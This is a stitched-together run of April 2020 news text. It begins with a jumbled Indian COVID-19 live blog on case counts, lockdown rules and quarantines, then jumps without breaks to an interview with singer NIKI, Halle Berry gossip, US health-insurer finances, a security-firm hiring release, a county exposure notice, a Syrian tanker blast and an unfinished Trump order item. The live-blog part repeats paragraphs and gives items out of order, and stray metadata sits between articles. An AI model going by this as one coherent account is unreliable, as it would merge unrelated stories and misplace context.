Pradeep Vyas in a recent circular said the medicine will be given to doctors, nurses and medical staff involved in the treatment of COVID-19 patients and suspects, as well as contacts of those testing positive for the disease. Health workers involved in the treatment of coronavirus patients will be given hydroxychloroquine (HCQ) tablets as a preventive medication, the Maharashtra government has said and issued guidelines on the use of the drug. The patient was brought to the district hospital on Saturday and was later placed under quarantine at a super speciality hospital, the CMO said A 35-year-old man suffering from coronavirus died at a hospital here, the first death due to the virus in the district, officials said on Wednesday. The man was also suffering from cardiac problems, asthma and diabetes, Chief Medical Officer, Vineet Kumar Shukla, said. The police were strictly implementing the lockdown across the state, including the beach belt of Calangute, deputy superintendent of police (Porvorim) Edwin Colaco said. As many as 1,058 persons were arrested and 588 FIRs were lodged by the Goa police for violation of the COVID-19 lockdown, an official said on Wednesday. With 101 offences and 172 arrests, the Calangute police station in North Goa registered the highest number of cases till Tuesday, a release here stated. Confirmed COVID-19 cases in Haryana stand at 308, including 224 discharges and three deaths. There are 81 active cases in the state, said Haryana Health Department on Wednesday. They will be tested soon, they added. The duration of quarantine will depend on test reports. The Kasturba Hospital is a North Delhi Municipal Corporation-run hospital. Seven doctors and four nurses are primary contacts. They came in touch with her and have been kept in-home quarantine, for now, the officials said. Her test was conducted at the LNJP Hospital and her report came on Wednesday night. The student's condition is stable and she is in-home quarantine, they said. A first-year postgraduate student of the Kasturba Hospital here has tested positive for the novel coronavirus, senior officials said on Wednesday. "Time is of the essence. In the absence of a clear signal of assistance from the government during these extremely difficult times, the private sector will be forced to resort to large scale retrenchments and layoffs, which will devastate livelihoods of hundreds of millions of people," he said. The former finance minister asked the government to prepare an exit strategy in view of the lockdown and look into the issue of migrants stranded in different places due to it. He also called upon the government to announce a financial package for the MSME sector, as proposed by his party, and provide financial assistance to states to fight the novel coronavirus pandemic. Senior Congress leader P Chidambaram on Wednesday urged the government to announce a scheme to protect the salaries and wages of 12 crore people as employers are facing a financial crunch in the wake of the COVID-19-induced lockdown. It said that the total number of coronavirus cases in the country stands at 15,641. Out of the 690 fresh cases, six are Singapore citizens or permanent residents while the rest of them are foreigners with work permits residing in dormitories, it said. We are still working through the details of the cases, and further updates will be shared via the press release that will be issued tonight, the ministry said. Singapore on Wednesday reported 690 new coronavirus cases, taking the total number of COVID-19 patients, a vast majority of whom are foreigners, to 15,641, the health ministry said. The high court had last year appointed a retired district judge as the nodal officer who was permitted to act to the limited extent of making payment of essential service charges related to the CWGV. The Delhi High Court has asked a nodal officer to keep a check on violation of lockdown guidelines and social distancing norms by the residents of Commonwealth Games Village (CWGV) near Akshardham Temple and report it to the authorities concerned, PTI reports. Three new cases of COVID-19 have been reported in Odisha on Wednesday, taking the total number of cases in the state to 122. All three tested positive after returning from West Bengal and are asymptomatic said state health department. His samples were taken on 23 April for testing, but the test could not be conducted. Another sample was taken for testing on Tuesday and its report is awaited, SDM Tundla, KP Singh Tomer said. The body has been sent to the district hospital for postmortem, he added. The victim, a resident of Railway Colony Tundla, was sent into quarantine on April 20 after his senior tested positive for coronavirus, the officer said. The employee was under quarantine at FH Medical College and Hospital, Tundla. His body was found hanging in the medical college, Gyanendra Kumar, SHO, Tundla said. A 55-year-old railway employee, who was under quarantine at a medical college here, allegedly committed suicide on Wednesday, police said. They visited the stated between second and third week of April. Teams comprising experts from the National Centre for Disease Control (NCDC), AIIMS and ICMR among others visited states including Gujarat, Maharashtra, Rajasthan, Madhya Pradesh, Uttar Pradesh, Telangana and Tamil Nadu which have high case load districts. Six high-level multi-disciplinary teams were constituted by the Union Health Ministry to assist and review state health departments for proper implementation of cluster containment plans for large outbreaks and check hospital preparedness for COVID-19. Central teams, which were tasked to check preparedness of districts with a high load of coronavirus cases, found that infection prevention control practices were not properly followed in several hospitals raising concerns over the safety of healthcare workers, official sources said. With 94 new coronavirus positive cases in the last 24 hours, the number of COVID-19 patients in Indore district has mounted to 1,466, officials said on Wednesday. Though the steady rise in cases has raised questions over the enforcement of preventive measures as well as the very nature of the viral spread, government data also suggested a drop in the COVID-19 mortality rate in the district over the last 20 days. A large number of new COVID-19 cases are coming to the fore in Madhya Pradesh's worst-hit Indore despite the curfew being in place in urban areas of the district for more than a month now. All the police personnel of the Ramgarh police station were sent into quarantine soon after the youth had tested positive, Deputy SP (City) Prabal Pratap Singh said. The samples of 27 police personnel of the Ramgarh police station were later sent for testing and in the report received Wednesday, four of them have been tested positive, he said. Four policemen including a Senior Sub Inspector posted at Ramgarh police station in Firozabad tested positive for coronavirus on Wednesday. On 14 April, Ramgarh police had taken a youth into custody for flouting the lockdown and he later tested positive for the coronavirus disease, chief medical officer Dr SK Dikshit said. "During this time people can come out of their houses and shops will be opening. Also, we have decided to extend the curfew in the state by two more weeks," he added. Punjab chief minister Amarinder Singh said that the coronavirus lockdown in the state "will be lifted from 7 am to 11 am every day". They have all tested negative. Eight positive cases will need to be tested again after 24 hours as per protocol to completely declare them as recovered, he added. Meghalaya chief minister Conrad Sangma said that 16 family members of the index coronavirus patient were tested again, including eight who were positive. The Prime Minister's Citizen Assistance and Relief in Emergency Situations Fund (PM-CARES Fund) was set up on March 28 to raise money for combating the coronavirus outbreak and to provide relief to the affected. The development finance institution's 3,554 employees have contributed the amount from their salary, a statement said. National Bank for Agriculture and Rural Development (Nabard) on Wednesday said its employees have pledged Rs 9.85 crore towards the PM-CARES Fund to help the government fight COVID-19 pandemic. Uttar Pradesh government on Wednesday said that Chief Minister Yogi Adityanath ordered that the capacity of L1 (basic), L2 (those with oxygen facility), L3 (those with ventilators) dedicated COVID-19 hospitals be expanded and arrangement be made for 52,000 more beds. The Uttar Pradesh government on Wednesday said, "There are 2,115 positive cases in the state right now. Out of these, 477 have been discharged after making complete recovery. 36 people have died due to COVID-19. There are 1,602 active cases in the state." Reports said that the Uttar Pradesh government on Wednesday decided to allow the operations of brick klins and gave permission for contruction material shops to open. "The State Home department writes to district magistrates, to allow such operations in non-hotspot rural areas," News18 reported. "It will take three days for them to reach here," she added. West Bengal chief minister Mamata Banerjee said that around 2,500 to 3,000 students from Rajasthan's Kota will board buses on Wednesday evening. India Today reported that 10 people were arrested in Howrah in connection with an attack on a police party that was enforcing the lockdown to prevent the spread of coronavirus at Tikiapara in West Bengal's Howrah district, a 'red zone', on Tuesday. BJP leader Kailash Vijayvargiya on Wednesday wrote to West Bengal chief minister Mamata Banerjee, slamming the state government for "mismanaging fight against coronavirus". "Stop suppressing data, test more, end appeasement politics and save West Bengal," he wrote on Twitter. A 70-year-old man, who was admitted to the IGGMCH (Indira Gandhi Government Medical College and Hospital) in Nagpur on 21 April after testing positive for coronavirus, passed away on Wednesday, said Dr Ajay Keoliya, Dean, IGGMCH. "Although the global mortality rate is around 7 percent, India is having a mortality rate of around 3 percent and around 86 percent of fatality of persons with co-morbidity," he said. Health Minister Harsh Vardhan on Wednesday said that for the last three days, the doubling rate is 11.3 days in the country. "We have taken certain decisions that will be implemented from Monday if everything is alright. There will be relaxations in green zone & orange zone where standalone shops of essential items will remain open. There will be no relaxation for containment areas, " said West Bengal chief minister Mamata Banerjee on Wednesday. Congress leader P Chidambaram welcomed the Centre's decision to allow inter-state movement of migrant workers and students after testing them by bus. Additionally, three new COVID-19 cases have been confirmed in Mahim and no new cases have been reported in Dadar. The BMC said that 14 new coronavirus cases have been reported in Mumbai's Dharavi on Wednesday, taking the total number of cases in the area to 344. Reports said that the Kerala government has been made mandatory masks mandatory from Thursday tomorrow in public places and offices. Those who violate the rule will be fined Rs 200 and for a repeated offence, a fine of Rs 5,000 will be imposed. The statement said that all three have returned from Kolkata, they are asymptomatic and were in quarantine. Contact tracing and follow-up action is being done. Total positive cases rise to 125 in the state. The Odisha government said that three new COVID-19 positive cases have been reported in the state's Balasore district. The Haryana health department said that number of active cases of COVID-19 rose to 83 in the state on Wednesday. 225 patients have been cured/discharged while three others succumbed to the infection so far. The BMC said that an inspector of the municipal corporation's assessment department, Madhukar Haryan passed away on Wednesday. He had tested positive for coronavirus. The Ministry of Home Affairs (MHA) on Wednesday said that the new guidelines issued to fight COVID-19 will come into effect from 4 May, "which shall give considerable relaxations to many districts. Details regarding this shall be communicated in the days to come." Reports said that Delhi chief minister Arvind Kejriwal said that the Delhi government is in touch with other states on the MHA's order about the movement of migrant workers and that "the government will come with a proper plan in the next one-two days". "It shall be mandatory to wear face mask/face covering at all public places from 1 May," said District Magistrate, Srinagar. Karnataka deputy chief minister Dr Ashwathnarayan CN said, "After being informed that I might have come in contact with a COVID-19 affected person, I have been in Home Quarantine. I have tested negative, but will continue to be vigilant and take all necessary precautions" The Mumbai Police said on Wednesday, "Our 29 year old frontline warrior, who tested positive for Coronavirus, just summarised what weve been meaning to tell you all along - , ! (Don't worry, friend!). No deaths reported in the last 24 hours in Telangana. 7 new #COVID19 positive cases reported in the state today, taking the total number of active cases to 582: State Health Department The Himachal Pradesh government on Wednesday said that no COVID-19 positive case has been reported in the state in the last 7 days. The total number of active cases stands at 10. One person has succumbed to the infection till date. The UK government said that the toll from coronavirus rose by 4,419 to 26,097, as care home deaths were included, AFP reported. Karnataka deputy chief minister Dr Ashwathnarayan CN said, "After being informed that I might have come in contact with a COVID-19 affected person, I have been in Home Quarantine. I have tested negative, but will continue to be vigilant and take all necessary precautions" Karnataka medical education minister K Sudhakar on Wednesday said, "On knowing that a TV journalist whom I have interacted tested positive for COVID-19, I got checked and tested negative. However, as abundant precaution, I have decided to be in home quarantine for the next seven days and carry out my duties from home." Our 29 year old frontline warrior, who tested positive for Coronavirus, just summarised what weve been meaning to tell you all along - , ! #AamhiDutyVarAahot #MumbaiPoliceOnDuty #MumbaiFirst #TakingOnCorona pic.twitter.com/tNJWg7Ljsv The Mumbai Police said on Wednesday, "Our 29 year old frontline warrior, who tested positive for Coronavirus, just summarised what weve been meaning to tell you all along - , ! (Don't worry, friend!). Tripura minister Ratan Lal Nath said that an ambulance driver from Tamil Nadu who came to Tripura along with five passengers has tested positive for COVID-19 on Wednesday. The Delhi government said that two deaths and 125 new COVID-19 cases have been reported in the National Capital on Wednesday. The total positive cases stand at 3,439. A 28-year-old woman who was tested positive of #coronavirus in Indira Gandhi Government Medical College and Hospital (IGGMCH), Nagpur has given birth to a baby girl on Wednesday. The baby's COVID-19 test will be conducted after three days, said Dr Sagar Pandey, Deputy Superintendent, IGGMCH Nagpur. "We are still working through the details of the cases, and further updates will be shared via the press release that will be issued tonight," the ministry said. Out of the 690 fresh cases, six are Singapore citizens or permanent residents while the rest of them are foreigners with work permits residing in dormitories, it said. Singapore on Wednesday reported 690 new coronavirus cases, taking the total number of COVID-19 patients, a vast majority of whom are foreigners, to 15,641, the health ministry said. Coronavirus Outbreak LATEST Updates: The Ministry of Home Affairs (MHA) on Wednesday said that the new guidelines issued to fight COVID-19 will come into effect from 4 May, "which shall give considerable relaxations to many districts. Details regarding this shall be communicated in the days to come." The Centre allowed stranded migrant workers, students, tourists, etc to travel back home, with some conditions. The MHA on Wednesday said that migrants, students, tourists travelling from one state to another will be screened and only those who are asymptomatic will be allowed to proceed. On arrival to the destination, each traveller should be quarantined by local health authorities. The Ministry of Home Affairs (MHA) on Wednesday issued directions allowing the movement of migrant workers, tourists, students who are stranded at various places. "The movement would happen only in groups and those travelling will be screened before movement. The movement will require mutual agreement between the sending and receiving states," The Indian Express reported. Reports said that the Uttar Pradesh government on Wednesday decided to allow the operations of brick klins and gave permission for contruction material shops to open. "The State Home department writes to district magistrates, to allow such operations in non-hotspot rural areas," News18 reported. Punjab chief minister Amarinder Singh said that the coronavirus lockdown in the state "will be lifted from 7 am to 11 am every day". "During this time people can come out of their houses and shops will be opening. Also, we have decided to extend the curfew in the state by two more weeks," he added. A large number of new COVID-19 cases are coming to the fore in Madhya Pradesh's worst-hit Indore despite the curfew being in place in urban areas of the district for more than a month now. Though the steady rise in cases has raised questions over the enforcement of preventive measures as well as the very nature of the viral spread, government data also suggested a drop in the COVID-19 mortality rate in the district over the last 20 days. The government on Wednesday has mandated all Central government officers and staff to download the Aarogya Setu app on their mobile phones "immediately".The staff has been advised to leave for office only when the app shows 'safe' or 'low risk' status, A first-year postgraduate student of the Kasturba Hospital here has tested positive for the novel coronavirus, senior officials said on Wednesday. Her test was conducted at the LNJP Hospital and her report came on Wednesday night. The student's condition is stable and she is in-home quarantine, they said. A 35-year-old man suffering from coronavirus died at a hospital here, the first death due to the virus in the district, officials said on Wednesday. Meanwhile, Announcing a cabinet decision, Finance Minister TM Thomas Isaac told reporters that as per the ordinance, the Kerala government has been empowered to defer 25 percent of the salary of its employees in the event of a disaster. The Tamil Nadu government on Wednesday said the four-day total shutdown in Chennai, Madurai and Coimbatore Corporation limits ending by today will not be extended. Karnataka health department said on Wednesday that 9 new COVID-19 cases have been reported from 28 April 5 pm to 29 April 12 pm. The total number of COVID-19 cases rise to 532 in the state including 20 deaths and 215 discharges. According to the latest data provided by the department of health and family welfare in Andhra Pradesh, the state recorded 73 new coronavirus cases, taking the total number of cases to 1,332. An 11-month old baby among 73 new coronavirus cases reported in the state, PTI reports. Some sections of the sprawling APMC market in Vashi in neighbouring Navi Mumbai will remain shut for 14 days after two COVID-19 cases were detected there on Tuesday. Meanwhile, about 11 traders associated with Delhi's Azadpur vegetable market have tested positive for coronavirus on Wednesday. Maharashtra reported 729 new coronavirus cases on Tuesday, taking the state's tally to 9,318, a health official said. The state also reported 31 more deaths due to the disease, raising the toll to 400, he said. Meanwhile, road accidents in Gujarat came down by 71 percent during the lockdown as compared to normal days, according to an analysis by an emergency services agency quoted by PTI. A medical team which went to Makhanpur village in Uttarakhand's Haridwar district on Tuesday was misbehaved with and manhandled while carrying out a COVID-19 survey. Meanwhile, the total number of coronavirus cases in India rose to 31,332. Travel of government employees and common people from neighbouring states and districts to Faridabad is now prohibited under the new guidelines issued by the government. 'Doctors, paramedical staff, police & bank employees to be permitted on producing their identity cards, only till 12 pm on Wednesday', Yash Pal, Deputy Commissioner, Faridabad told ANI. CRPF jawans are being posted in three shifts at Ranchi's COVID-19 hotspot Hindpiri locality to ensure that people strictly follow lockdown rules, an official said on Tuesday. Residents of Hindpiri are not allowed to enter or leave the area, Ranchi Deputy Commissioner Rai Mahimapat Ray said. The total number of confirmed coronavirus cases in India inched towards 30,000, with 1,594 new infections reported on Tuesday. The total deaths due to COVID-19 rose to 937 on Tuesday, with 50 new patients succumbing to the virus in 24 hours. Additionally, more than 7,000 have recovered. On Tuesday, Maharashtra and Gujarat, among others states, reported more fatalities, but the Union health ministry said that there wasn't enough evidence to use plasma therapy as a treatment for coronavirus. Addressing the daily press conference, Health Ministry joint secretary Lav Aggarwal also cautioned that there could be "life-threatening complications" if guidelines were not followed in administering the plasma therapy, in which blood plasma is transfused from a recovered COVID-19 patient to a critically-ill person. The therapy, which is currently in trial stage, works on a principle that immunity can be transferred from a healthy person to a sick patient using antibodies in convalescent plasma. Aggarwal said the Indian Council of Medical Research (ICMR) has launched a national-level study to check efficacy of the plasma therapy, but till this study is completed and a robust scientific proof is available, this therapy should be used only for research or trial purpose. Recovery rate on the rise, says health ministry While according to the Ministry of Health and Family Welfare website, COVID-19 cases had risen to 29,974, latest figures announced by various states and union territories indicated that the figure had climbed to 30,255 cases, PTI reported. The PTI tally also reported that the toll stood at 947 while the MOHFW has reported 937 deaths. The health ministry figures suggest that an average of about one in 25 have tested positive so far. Among those having tested positive, one in 30 has died on an average, while the ratio of those having recovered is approximately one in four. Aggarwal added that the recovery rate of COVID-19 patients has as such improved to 23.3 percent of total cases. The number of active COVID-19 cases stands at 22,010, while 7,026 people have recovered, and one patient has migrated, the ministry said. Harsh Vardhan says India to be able to produce RT-PCR kits from May Health Minister Harsh Vardhan, while addressing the media on Tuesday said, "No fresh case has been reported in 80 districts for last seven days. In 47 districts, no case has been reported in the last 14 days, while 39 districts have not reported a case for the last 21 days. 17 districts have not reported a case for the last 28 days." He also said, "For the last 14 days, our doubling rate is 8.7, while for the last 7 days, it is 10.2 days. In the last 3 days, it is 10.9 days roughly." The minister added that India will be able to produce RT-PCR and antibody test kits by May. "All processes are in advanced stage and production will start after getting approval from ICMR. It will help us in meeting our target of 1 lakh tests per day by 31 May," he added. In Delhi, 4.11 percent of health workers, including 13 paramedics, 26 nurses, 24 field workers, 33 doctors, are affected by COVID-19, Vardhan added. "This is worrying and there are currently about 100 hotspots in Delhi. This number should go down," he was quoted as saying by ANI. "According to experts, we need to increase the periphery of sealed areas in Delhi to fight COVID-19 better," he added while reviewing meeting on the coronavirus situation in Delhi. Maharashtra cases cross 8,500; Gujarat, Delhi top 3,000 infections Maharashtra has reported the maximum cases at over 8,500 and at least 369 deaths. Meanwhile, Gujarat has over 3,700 cases, while Delhi also has more than 3,100 confirmed cases. On Tuesday, Mumbai Police asked personnel who are above 55 years of age and having some pre-existing ailment to go on leave, in a bid to protect them from the coronavirus infection. The move comes after COVID-19 claimed lives of three Mumbai Police personnel in the last three days. During an analysis, it came to light that the three deceased and the other police personnel currently undergoing treatment for coronavirus disease were above the age of 50, a senior Mumbai Police official said on Tuesday. "In view of this, we have decided to protect our policemen and officers - who are above 55 years of age and having some pre-existing ailment and asked them to take leave," he said. "Because of their age, these police personnel are at a higher risk. Therefore, we are allowing them to take leave during these days," the official said. Meanwhile, Rajasthan, Madhya Pradesh, Tamil Nadu and Uttar Pradesh each have reported more than 2,000 cases. A 55-year-old Central Reserve Police Force (CRPF) personnel succumbed to the coronavirus infection on Tuesday in Delhi's Safdarjung hospital. This is the first COVID-19 death reported in paramilitary forces that function under the MHA. In Delhi, Lieutenant Governor Anil Baijal directed all district magistrates to implement a "micro-containment zone strategy" in their respective areas to arrest the spread of COVID-19, an official said. Under this plan, small clusters reporting cases of the dreaded virus will be identified and declared containment zones instead of big ones. At present, the authorities block the entry and exit points of an area where COVID-19 cases emerge and people are not allowed to step out of their houses. Essential items are delivered at the doorstep. The National Capital also saw the NITI Aayog building getting sealed for 48 hours, after a director-level officer tested positive. In Tamil Nadu, Chief Minister K Palaniswami said COVID-19 cases are on the rise in the state as people have a casual attitude to norms like social distancing and do not understand the gravity of the contagion. The state reported 121 more people testing positive on Tuesday, taking the state's tally to 2,058, while a 68-year old man died of coronavirus in Chennai. The new positive cases included two police personnel and a flower vendor in Chennai. In Assam, where fewer new cases have emerged in the last few days, two people tested positive, taking the total infections to 37. Some of the northeastern states have not reported a single case for quite some time. In Uttar Pradesh, Chief Minister Yogi Adityanath asked officials to increase testing capacity while also seeking preparation of work plans to restart industrial units after the end of the lockdown on 3 May, and for giving employment to migrant labourers. He also said emphasis should be on social distancing and continued patrolling by the police. In Surat, Gujarat, hundreds of migrant workers came out on roads and vandalised the office of an under-construction building and some vehicles while demanding that they be sent back to their native places. West Bengal saw attacks on some policemen trying to enforce lockdown in 'red zone' Howarah district. The state reported 28 new cases, taking its total to 663, while the number of fatalities rose to 22 with two new deaths. MHA, MoHFW issue guidelines for home isolation The MHA and health ministry issued guidelines regarding health facilities in the country, and the treatment of non-coronavirus-infected patients requiring facilities like dialysis, etc. The MHA asked all states and Union Territories to ensure that health facilities, especially in the private sector, remain functional and those needing critical healthcare such as dialysis, blood transfusion and chemotherapy are not denied such services amid the ongoing lockdown. This followed reports that many hospitals in the private sector were hesitating in providing critical services to their regular patients either on account of fear of contracting COVID-19 or because they are keeping their hospitals or clinics closed. The Health and Family Welfare Ministry has issued guidelines for home isolation of people who either have very mild COVID-19 symptoms or are in the pre-symptomatic phase. Such patients with requisite self-isolation facility at their residence will now have the option for home isolation. Clarity on COVID-19 lockdown likely in coming days In the coming days, some clarity is expected to emerge about the ongoing lockdown in India. A nationwide lockdown has been imposed till 3 May by the Centre to check the spread of the coronavirus, which has claimed more than two lakh lives worldwide and infected over 30 lakh since it first emerged in China last December. Several countries have implemented lockdown and other containment measures, though some of them including New Zealand, France and Switzerland have begun relaxing those curbs. The question of when to reopen schools loomed large as European countries and US states drew up plans to restart their battered economies. Despite alarm among some teachers, parents and mayors, France detailed plans on Tuesday to start opening schools on 11 May, with limits on class size and rules requiring face masks. Hard-hit Italy intends to keep schools closed until September. And in the US, where President Donald Trump said states should seriously consider resuming classes before the end of the academic year, dozens have said it would be unsafe for students to return until the summer or the fall. Elsewhere around the world, the virus appeared all but vanquished in New Zealand. Australia opened the beach in Sydney. Brazil, however, was emerging as a new hot spot for infections. And new doubts were raised over whether Japan will be able to host the already postponed Summer Olympics next year without the development of a vaccine. With inputs from agencies Share this article Whatsapp Facebook Twitter Linkedin (Inquirer.net/Asia News Network) Tue, April 28, 2020 10:02 625 fc6853813033f564188675f8bd49b8f3 2 Entertainment NIKI,88rising,music,singer Free After dropping her single Switchblade earlier this month, Indonesian vocalist, songwriter, multi-instrumentalist, and producer NIKI is gearing up to release her first full-length album, Moonchild, scheduled to debut later this summer. The ten-song Moonchild is an ambitious concept album that traces NIKIs own journey while tackling universal themes of identity and empowerment. In the past, I have gravitated towards writing about love, and my songs are very conversational and tied to the real world. But this album is definitely more about the idea of self and is more introspective. Its discovering who you really are, says NIKI in an exclusive virtual interview with InqPop! The album offers an exploration, infusing its triptych song structure with eclectic styles R&B, pop, urban, punk, country from stripped-down piano ballads to lushly orchestrated anthems. A full two years in the making, Moonchild brought NIKI together with such collaborators as producer/writer Jacob Ray, the producer collective Bekon & the Donuts, and Montreal producer Pomo (David Pimintel). Read also: Rich Brian releases new single inspired by Bali The core message is owning yourself and embracing the journey, because I think the destination is meaningless without the journey. Thats what the album is aboutits honoring the process of the journey, she adds. Earning wide critical acclaim since her breakthrough EP, Zephyr, NIKI has cultivated fans around the globe with her expressive voice, personal songwriting, and genre-blurring artistry, becoming a vibrant symbol ofand an advocate fora generation of Asian musical artists. NIKI, with her Indonesian heritage essential to her story, has taken it upon herself to become a role model for Asian artists who would like to break into the global music industry. Asians are still very under-represented in [global] media, and Ive said this a lot. But I do believe that the world is moving to a positive direction in terms of being more inclusive and mindful of other cultures, she shares. While I still face challenges to this day, Im glad that we now live in a society thats more aware of this under-representation, and that people are starting to call it out. With a throng of loyal fans, as reflected in 370+ million Spotify streams, over 1 million Instagram followers, as well as 166,000+ YouTube subscribers, NIKI is certainly on her way to break that invisible barrier. Much like her single "Switchblade", NIKIs ironclad attitude and outlook will take her to new heights in the international music scene. Topics : NIKI 88rising music singer Topics : This article appeared on the Philippine Daily Inquirer newspaper website, which is a member of Asia News Network and a media partner of The Jakarta Post On Tuesday, John Wick 3 action star Halle Berry shared a cheeky, scantily-clad snap of herself relaxing poolside while confined to her lavish $8M Malibu home during COVID-19 quarantine. The 53-year-old Oscar winner - who boasts 6.7M Instagram/Facebook followers - captioned her thirst trap: 'Summer in April vibes.' Los Angeles County's stay-at-home order was extended through May 15 due to the 20,996 confirmed coronavirus cases in LA, which has led to 1,002 deaths as of Tuesday - according to Johns Hopkins University. 'Summer in April vibes': On Tuesday, John Wick 3 action star Halle Berry shared a cheeky, scantily-clad snap of herself relaxing poolside while confined to her lavish $8M Malibu home during COVID-19 quarantine Halle (born Maria) revealed last week that her 12-year-old daughter Nahla, from her five-year relationship with French-Canadian model Gabriel Aubry, hopes that 'quarantine never ends.' 'My daughter's fine,' Berry said on The Tonight Show. 'She's a loner. She loves being nestled in.' However, the former Miss Ohio 1986's six-year-old son Maceo, from her six-year third marriage to French actor Olivier Martinez, 'is like a madman right now.' 'He's bouncing off the walls!' Halle exclaimed. 'She's a loner': The 53-year-old Oscar winner revealed last week that her 12-year-old daughter Nahla, from her five-year relationship with French-Canadian model Gabriel Aubry, hopes that 'quarantine never ends' (pictured April 21) 'He's bouncing off the walls!' However, Halle's six-year-old son Maceo, from her six-year third marriage to French actor Olivier Martinez, 'is like a madman right now' (pictured April 21) Trapped inside: Berry admitted 'it's hard on us sometimes' even her two beloved English Sheepdogs, Jackson & Roman (pictured April 21) 'He just doesn't know what's happening. It's pretty hard for him. We almost needed a few trips to the hospital, but it's like "We ain't going to the hospital!"' Berry admitted 'it's hard on us sometimes' even her two beloved English Sheepdogs, Jackson & Roman. The Boomerang executive producer has been single since splitting with her Grammy-nominated producer Alex da Kid in December 2018 following a three-month fling. However, Halle does weekly Fitness Friday tutorials - now remotely - with her distractingly handsome trainer Peter Lee Thomas. At the helm! The former Miss Ohio 1986 'broke some bones' in November while filming her directorial debut Bruised, in which she stars as disgraced MMA fighter Jackie Justice (pictured December 21) Halle said on The Tonight Show last week: 'Well it was supposed to come in the fall this year, but now with everything that's happening I think most productions are sort of in flux right now' Berry told host Jimmy Fallon: 'The good thing is at least we finished it prety much, so we have it kind of in the can. But when it will actually come out, I don't know when we're going to be back to the movies and life will get back to normal. But I did it!' (pictured November 14) Berry 'broke some bones' in November while filming her directorial debut Bruised, in which she stars as disgraced MMA fighter Jackie Justice who conquers her demons and reunites with her six-year-old son Manny. 'Well it was supposed to come in the fall this year, but now with everything that's happening I think most productions are sort of in flux right now,' the biracial beauty told host Jimmy Fallon. 'The good thing is at least we finished it prety much, so we have it kind of in the can. But when it will actually come out, I don't know when we're going to be back to the movies and life will get back to normal. But I did it!' Other health insurers Anthem, Humana, and Cigna are expected to follow a similar trend, and experts are saying it is due to social distancing rules cutting down on elective care procedures and non-emergency care visits. The costs from COVID-19 are going to be actually very small and more than outweighed by the deferral of elective procedures. The net impact is going to be positive for them, Jeff Jonas, a portfolio manager with Gabelli Funds, told Reuters. According to Aon global chief actuary Tim Nimmer, health plans and employers have seen an overall drop in healthcare use of about 30% to 40%, excluding coronavirus patients. For each month that this goes on, we are expecting about 1.5% to 2% in annual costs to be reduced, said Nimmer. Although extended hospital stays can lead to massive medical bills, the total cost is dwarfed by the amount of savings from millions of individuals delaying elective care, Reuters reported. Those same savings are also outstripping the costs to insurers of waiving coronavirus-related co-pays, deductibles, tests and other care. Citing claims information, Aon said that the cost of a hospitalized patient could run from $30,000 to $80,000. In comparison, a patient who goes to the hospital and is sent home costs around $1,500 to $2,500. Nimmer added that some canceled healthcare appointments might not even return, as people ultimately decide not to undergo surgery or that they do not need a sick visit. The gains generated from deferred elective care could be short term, however. In a note to clients, Jefferies analyst David Windley warned that a recession-related shift to less profitable Medicaid plans will leave a lasting effect on health insurers. Such was the case with Blue Cross Blue Shield network member Florida Blue, which observed individuals employed by small businesses severely impacted by mandatory closures that prompted worker furloughs and layoffs. The layoffs and furloughs led those employees to move to Florida Blues ACA government-subsidized health plans. Theres probably twice as much enrollment as we would have anticipated in the ACA, said Florida Blue CEO Pat Geraghty. SYDNEY, April 28, 2020 /PRNewswire/ -- DriveLock, the leading German Endpoint Protection provider, has appointed David Weinstein as Channel Sales Manager for Australia and New Zealand. Weinstein will be based out of DriveLock's Sydney office and joins the company with over 23 years of experience in the Cyber Security and Cloud Software industry, having spent the last 15 years with Global Vendors such as Juniper Networks and Dell EMC. His knowledge and understanding on how to propel channel enablement for leading technology Vendors will be highly advantageous in enabling the Channel to deliver on DriveLock's industry-leading Zero Trust Platform. - Cross reference: Picture is available at AP Images (http://www.apimages.com) - "I thrive off of the opportunity to work for industry-leading technology companies and am excited to join DriveLock during this pivotal moment in the Global Economy and securing our approach on working from home. This will bring new security risks to organisations across the globe." "I am passionate about building relationships and developing Channel Go-to-Market strategies by aligning channel systems to deliver unprecedented value to partners and customers," says Weinstein. Customers are looking for partners that effectively manage end-to-end solutions. We want partners that are focused on solving customer business problems and prioritising their security posture - on-premise, in the cloud, or as a managed service. DriveLock is committed to our local presence with security-focused resellers, MSPs, and MSSPs in ANZ. We work across all industry verticals and organisation sizes. A key growth area will be enabling partner-led services. "We are happy to have someone with David's experience and expertise on board the DriveLock team to push our channel growth in ANZ. At this point, we need to successfully manoeuvre through the current challenging circumstances and pursue future market opportunities", says Ralf Hart, VP of Global Sales. For details, please contact drivelock@hbi.de +498999388725 UTICA, N.Y. Oneida County Health Department Director Phyllis Ellis announced several dates and locations of potential exposures to coronavirus on Tuesday. Ellis says residents were shopping or working at these establishments before knowing they had the virus. People who were at the following places within the following timeframes should monitor themselves for symptoms for 14 days. April 19 A shopper was at the Walmart located at 5815 Rome-Taberg Road in Rome between 8 a.m. and 9 a.m. A resident was at the Tops located at 217 Erie Blvd. West in Rome between 9:15 a.m. and 10 a.m. Monitor for symptoms through May 3. April 16, 17 and 20 An employee at the Citgo located at 3931 Oneida St. in Washington Mills worked on these dates. The employee was wearing a mask, and only left an enclosed workspace between noon and 1 p.m. Monitor for symptoms through April 30, May 1 and May 4, respectively. April 15 -18 and 21-22 An employee at the Walmart located at 4765 Commercial Drive in New Hartford worked on each of these days from 1 10 p.m. The employee was wearing a mask throughout the shifts. Monitor for symptoms through April 29 and 30, or May 1, 2, 5 and 6 depending on the day exposure may have happened. Ellis says the risk of exposure in all cases was low. If symptoms appear, people are advised to contact their primary care doctors. Oneida County Executive Anthony Picente announced Monday that Ellis would be issuing an Executive Order requiring retail stores, restaurants and other establishments to enforce the state mandate requiring people to wear face coverings in public places. Picente said the face covering requirements are in line with CDC guidelines, and exclude people with medical conditions that affect breathing and children under 2 years old. Non-compliant businesses may face fines and misdemeanor charges if in violation of the order, according to Picente. Source: Xinhua| 2020-04-28 22:48:07|Editor: huaxia Video Player Close DAMASCUS, April 28 (Xinhua) -- At least five people were killed and 24 others wounded on Tuesday when an oil tanker exploded in the Afrin city in northern Syria, a war monitor reported. The explosion was caused by an explosive device, which ripped through the oil tanker in Afrin in the countryside of Aleppo province in northern Syria, according to the Syrian Observatory for Human Rights. The Britain-based watchdog group said the death toll could likely rise due to the number of critically wounded people. Turkey and Ankara-backed rebels captured Afrin from the Kurdish-led militias in March of 2018. Activists have made several reports about the situation in Turkey-controlled areas in northern Syria, saying a state of lawlessness is rampant in that region. Enditem President Donald Trump on Tuesday will sign an executive order declaring the food supply chain is critical infrastructure and order meat processing plants to remain open amid scares of a shortage. Trump will use the Defense Production Act to order the plants to stay open, a person familiar with the order told DailyMail.com, and the 